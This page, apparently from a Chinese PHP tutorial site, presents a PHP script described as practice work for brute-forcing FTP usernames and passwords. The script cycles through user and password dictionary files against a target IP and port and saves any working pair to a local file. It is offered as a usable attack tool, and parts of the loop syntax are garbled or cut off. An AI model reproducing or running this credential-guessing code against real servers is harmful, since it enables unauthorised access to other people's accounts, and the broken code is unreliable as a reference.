Home >php教程 >php手册 >暴破FTP用户名和密码(PHP练手作品)

暴破FTP用户名和密码(PHP练手作品)

WBOY
WBOYOriginal
2016-06-13 10:22:021074browse

//用法:php 本文件.php FTP的IP 端口 用户字典 密码字典,示例:php ftp.php 192.168.8.10 21 user.dic pass.dic。可以自己改动sleep里的秒数,暴破成功后用户名和密码保存在同目录下的ok.txt。


//分别取不同用户名和N个密码对应
$user=file($_SERVER["argv"][3]);
$pass=file($_SERVER["argv"][4]);
$countuser=count($user);
$countpass=count($pass);
$n=0;
do
{


for($i=0;$iecho "$user[$n],$pass[$i]";
ftplogin($user[$n],$pass[$i]);//调用ftp函数
sleep(5);//防止ftp宕掉,暂且停5秒
Continue;
    }
     $n++;
     }
while($n

//FTP函数,登陆成功写入正确用户名和密码到本目录下的ok.txt
function ftplogin($username,$password){
//global $username, $password;
$host=$_SERVER["argv"][1];
$port=$_SERVER["argv"][2];
$conn = ftp_connect($host,$port);
if(!$conn){

 echo "无法连FTP";
    exit;
}
@ $result=ftp_login($conn,$username,$password);
if(!$result){
    echo "error";
    ftp_quit($conn);
    }
else{
echo "---------------------------------->ok";
fputs(fopen(ok.txt,a+),"用户名:".$username."密码:".$password);
}
}

?>

Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn